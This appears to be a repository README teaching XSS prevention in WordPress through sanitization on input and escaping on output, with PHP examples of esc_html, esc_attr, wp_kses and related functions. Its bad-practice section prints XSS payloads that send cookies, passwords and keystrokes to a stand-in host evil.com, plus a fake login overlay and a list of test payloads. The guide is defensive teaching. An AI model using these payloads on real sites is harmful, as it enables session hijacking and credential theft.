Skip to content

Latest commit

 

History

History
479 lines (351 loc) · 11 KB

File metadata and controls

479 lines (351 loc) · 11 KB

Sanitization & Escaping - XSS Prevention

The Golden Rule

Sanitize on INPUT, Escape on OUTPUT

  • Sanitize = Clean data before saving (remove dangerous content)
  • Escape = Encode data before displaying (prevent code execution)

The Problem

Cross-Site Scripting (XSS) allows attackers to inject malicious JavaScript:

  • Steal cookies/sessions
  • Capture keystrokes
  • Redirect to phishing sites
  • Deface websites
  • Steal sensitive data
  • Perform actions as the user

One unescaped output = complete account compromise.

Bad Practice (bad.php)

Direct Output - XSS VULNERABILITY!

echo '<h1>Welcome ' . $_GET['name'] . '</h1>';

Attack:

?name=<script>document.location='http://evil.com?cookie='+document.cookie</script>

Result: User's session cookie sent to attacker!

More Attack Examples

<!-- Steal credentials -->
<script>
fetch( 'http://evil.com?password=' + document.querySelector( '#password').value);
</script>

<!-- Keylogger -->
<script>
document.addEventListener( 'keypress', e => {
    fetch( 'http://evil.com?key=' + e.key);
});
</script>

<!-- Redirect to phishing -->
<script>document.location='http://fake-login.com';</script>

<!-- Inject fake login form -->
<div style="position:fixed; top:0; left:0; width:100%; height:100%; background:white;">
    <form action="http://evil.com/steal">
        <input name="username">
        <input type="password" name="password">
    </form>
</div>

Good Practice (good.php)

Core Principle: Context Matters!

Different contexts need different escaping:

Context Function Example
HTML Content esc_html() <p><?php echo esc_html($text); ?></p>
HTML Attribute esc_attr() <div title="<?php echo esc_attr($title); ?>">
URL esc_url() <a href="<?php echo esc_url($url); ?>">
JavaScript wp_json_encode() var data = <?php echo wp_json_encode($data); ?>;
Textarea esc_textarea() <textarea><?php echo esc_textarea($text); ?></textarea>
SQL $wpdb->prepare() See SQL Injection example

Escaping Functions

esc_html()

// Converts HTML special characters to entities
echo '<p>' . esc_html($user_input) . '</p>';

// Input: <script>alert('XSS')</script>
// Output: &lt;script&gt;alert('XSS')&lt;/script&gt;
// Displays as text, doesn't execute

esc_attr()

// For HTML attributes
echo '<div title="' . esc_attr($user_input) . '"></div>';

// Prevents breaking out of attribute:
// Input: " onclick="alert('XSS')
// Output: &quot; onclick=&quot;alert('XSS')
// Rendered safe

esc_url()

// Validates and sanitizes URLs
echo '<a href="' . esc_url($url) . '">Link</a>';

// Blocks dangerous protocols:
// Input: javascript:alert('XSS')
// Output: (empty string)

// Allows: http, https, ftp, mailto, etc.

esc_textarea()

// Specifically for textarea content
echo '<textarea>' . esc_textarea($content) . '</textarea>';

// Prevents breaking out:
// Input: </textarea><script>alert('XSS')</script><textarea>
// Output: (escaped properly)

wp_json_encode()

// For JavaScript context
?>
<script>
    var data = <?php echo wp_json_encode($user_data); ?>;
</script>

Sanitization Functions

sanitize_text_field()

// For single-line text (removes line breaks, strips tags)
$clean = sanitize_text_field($_POST['username']);

// Input: "Hello<script>alert('XSS')</script>\nWorld"
// Output: "HelloWorld" (tags removed, linebreaks removed)

sanitize_textarea_field()

// For multi-line text (preserves line breaks, strips tags)
$clean = sanitize_textarea_field($_POST['bio']);

// Input: "Line 1<script>alert('XSS')</script>\nLine 2"
// Output: "Line 1\nLine 2" (tags removed, linebreaks preserved)

sanitize_email()

// Validates and sanitizes email
$email = sanitize_email($_POST['email']);

// Input: "user@example.com<script>"
// Output: "user@example.com" (invalid chars removed)

sanitize_url() / esc_url_raw()

// For saving URLs to database
$url = esc_url_raw($_POST['website']);

// Similar to esc_url() but doesn't encode entities (for storage)

sanitize_key()

// For option names, meta keys (lowercase alphanumeric + dash/underscore)
$key = sanitize_key($_POST['option_name']);

// Input: "My Option! 123"
// Output: "my_option_123"

sanitize_file_name()

// For filenames
$filename = sanitize_file_name($_FILES['upload']['name']);

// Input: "../../../etc/passwd"
// Output: "etcpasswd" (directory traversal removed)

wp_kses() / wp_kses_post()

// Allow specific HTML tags
$allowed = [
    'a' => ['href' => [], 'title' => []],
    'strong' => [],
    'em' => [],
];
$clean = wp_kses($content, $allowed);

// Or use wp_kses_post() for standard post HTML
$clean = wp_kses_post($content);

// Removes dangerous tags (<script>, <iframe>, etc.)
// Keeps safe formatting tags

The Right Function for the Right Job

Saving to Database (Sanitize)

// Text input
update_option('title', sanitize_text_field($_POST['title']));

// Textarea
update_option('description', sanitize_textarea_field($_POST['description']));

// Email
update_user_meta($user_id, 'email', sanitize_email($_POST['email']));

// URL
update_post_meta($post_id, 'website', esc_url_raw($_POST['url']));

// Integer
update_post_meta($post_id, 'views', absint($_POST['views']));

// HTML content (from trusted users)
update_post_meta($post_id, 'content', wp_kses_post($_POST['content']));

Displaying from Database (Escape)

// HTML content
echo '<p>' . esc_html(get_option('title')) . '</p>';

// HTML attribute
echo '<div title="' . esc_attr(get_option('title')) . '"></div>';

// URL
echo '<a href="' . esc_url(get_post_meta($id, 'website', true)) . '">Link</a>';

// Textarea
echo '<textarea>' . esc_textarea(get_option('description')) . '</textarea>';

// Allow HTML (already sanitized on input)
echo '<div>' . wp_kses_post(get_post_meta($id, 'content', true)) . '</div>';

Common Mistakes

Mistake 1: Not Escaping at All

// DANGEROUS!
echo '<h1>' . get_option('title') . '</h1>';

// SAFE
echo '<h1>' . esc_html(get_option('title')) . '</h1>';

Even database content needs escaping!

Mistake 2: Wrong Function for Context

// WRONG: esc_html() in URL
<a href="<?php echo esc_html($url); ?>">

// CORRECT: esc_url() in URL
<a href="<?php echo esc_url($url); ?>">

// WRONG: esc_attr() for HTML content
<div><?php echo esc_attr($content); ?></div>

// CORRECT: esc_html() for HTML content
<div><?php echo esc_html($content); ?></div>

Mistake 3: Trusting "Safe" Sources

// WRONG: Assuming admin input is safe
echo get_option('admin_setting'); // Still needs escaping!

// CORRECT: Always escape output
echo esc_html(get_option('admin_setting'));

Compromised admin accounts can inject XSS!

Mistake 4: Sanitizing Output Instead of Input

// WRONG: Sanitizing on output
echo sanitize_text_field(get_option('title'));

// CORRECT: Sanitize on input, escape on output
// Save: update_option('title', sanitize_text_field($_POST['title']));
// Display: echo esc_html(get_option('title'));

Mistake 5: Double Escaping

// WRONG: Double escaping
$title = esc_html($post->post_title);
echo '<h1>' . esc_html($title) . '</h1>'; // Escaped twice!

// CORRECT: Escape once
echo '<h1>' . esc_html($post->post_title) . '</h1>';

Complete Example

// FORM RENDERING
function render_form(): void {
    $current_value = get_option('my_setting', '');
    ?>
    <form method="post">
        <?php wp_nonce_field('save_setting'); ?>
        
        <!-- Escape for attribute context -->
        <input 
            type="text" 
            name="setting" 
            value="<?php echo esc_attr($current_value); ?>"
        >
        
        <button type="submit">Save</button>
    </form>
    <?php
}

// FORM PROCESSING
function process_form(): void {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'save_setting')) {
        wp_die('Security check failed');
    }
    
    // Sanitize input
    $value = sanitize_text_field($_POST['setting']);
    
    // Save to database (already sanitized)
    update_option('my_setting', $value);
    
    // Redirect
    wp_redirect(add_query_arg('saved', '1', $_SERVER['REQUEST_URI']));
    exit;
}

// DISPLAYING
function display_setting(): void {
    $value = get_option('my_setting', '');
    
    // Escape output
    echo '<p>' . esc_html($value) . '</p>';
}

Testing for XSS

Test Inputs

Try these in your forms:

<script>alert('XSS')</script>
<img src=x onerror="alert('XSS')">
javascript:alert('XSS')
'" onclick="alert('XSS')
</textarea><script>alert('XSS')</script>

If any execute, you have an XSS vulnerability!

Automated Testing

public function test_xss_prevention() {
    $xss = "<script>alert('XSS')</script>";
    
    // Save
    update_option('test', sanitize_text_field($xss));
    
    // Retrieve
    $value = get_option('test');
    
    // Should not contain <script>
    $this->assertStringNotContainsString('<script>', $value);
    
    // Display
    $output = esc_html($value);
    $this->assertStringNotContainsString('<script>', $output);
}

Key Takeaways

ALWAYS escape output - no exceptions
Sanitize input before saving
Use correct function for context
Escape database content too
Use wp_kses() for allowed HTML
Validate URLs with esc_url()
Use wp_json_encode() for JavaScript

NEVER output raw user input
DON'T trust any source (even admin)
DON'T use wrong escaping function
DON'T forget to escape database content
DON'T use stripslashes() for sanitization
DON'T double escape

Quick Reference

Most Common Scenarios

// Text in HTML
echo esc_html($text);

// Text in attribute
echo '<div title="' . esc_attr($text) . '">';

// URL
echo '<a href="' . esc_url($url) . '">';

// Data to JavaScript
var data = <?php echo wp_json_encode($data); ?>;

// Textarea
echo '<textarea>' . esc_textarea($text) . '</textarea>';

// Allow some HTML
echo wp_kses_post($html);

// Save text input
update_option('key', sanitize_text_field($_POST['value']));

// Save textarea
update_option('key', sanitize_textarea_field($_POST['value']));

// Save email
update_option('email', sanitize_email($_POST['email']));

// Save URL
update_option('url', esc_url_raw($_POST['url']));

// Save integer
update_option('count', absint($_POST['count']));

The Bottom Line

XSS is the most common web vulnerability.

Without proper escaping:

  • Attacker steals user sessions
  • Attacker performs actions as the user
  • Attacker steals sensitive data
  • Your site becomes a malware distributor

One missing esc_html() = complete account takeover.

Always escape output:

// DANGEROUS - one line, catastrophic results
echo $_GET['name'];

// SAFE - one function, complete protection
echo esc_html($_GET['name']);

There is NO excuse for XSS vulnerabilities.

Escape every single output. Your users' security depends on it.